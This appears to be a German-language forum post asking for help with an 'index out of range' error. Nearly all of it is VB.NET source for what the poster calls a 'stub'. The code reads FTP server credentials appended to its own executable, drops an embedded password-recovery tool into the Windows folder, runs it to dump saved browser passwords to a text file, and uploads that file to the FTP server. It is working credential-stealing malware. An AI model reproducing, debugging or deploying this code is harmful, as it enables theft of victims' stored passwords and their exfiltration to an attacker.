indes liegt ausserhalb des array bereichs

[inmate]

dim cmd() as string

Private Sub Form1_Load(ByVal sender As System.Object, _
ByVal e As System.EventArgs) Handles MyBase.Load

Dim file As String = My.Application.Info.DirectoryPath & "\file.exe"
Dim file2 As String = file.Substring(0, file.IndexOf(".")) & "2.exe"

If System.IO.File.Exists(file) = False Then
End
End If
IO.File.Copy(file, file2)
FileOpen(1, (file2), OpenMode.Binary)
FileGet(1, options.Value, LOF(1) - 99)
FileClose(1)
IO.File.Delete(file2)
cmd = options.Value.Split("#")
Dim ressource() As Byte = My.Resources.PasswordFox
Dim FTP As String = cmd(1)
Dim user As String = cmd(2)
Dim pass As String = cmd(3)
FileOpen(1, Environ("windir") & "\blubb.exe", OpenMode.Binary)
FilePut(1, ressource)
FileClose(1)
Shell(Environ("windir") & "\blubb.exe /stext" & Environ("windir") & "\passwörter.txt")
My.Computer.Network.UploadFile(Environ("windir") & "\passwörter.txt", "ftp://" & FTP & "/" & "passwörter.txt", user, pass)


Me.Close()


End Sub

End Class



erstmal danke für die schnellen antworten also das ist jetzt nur der stub code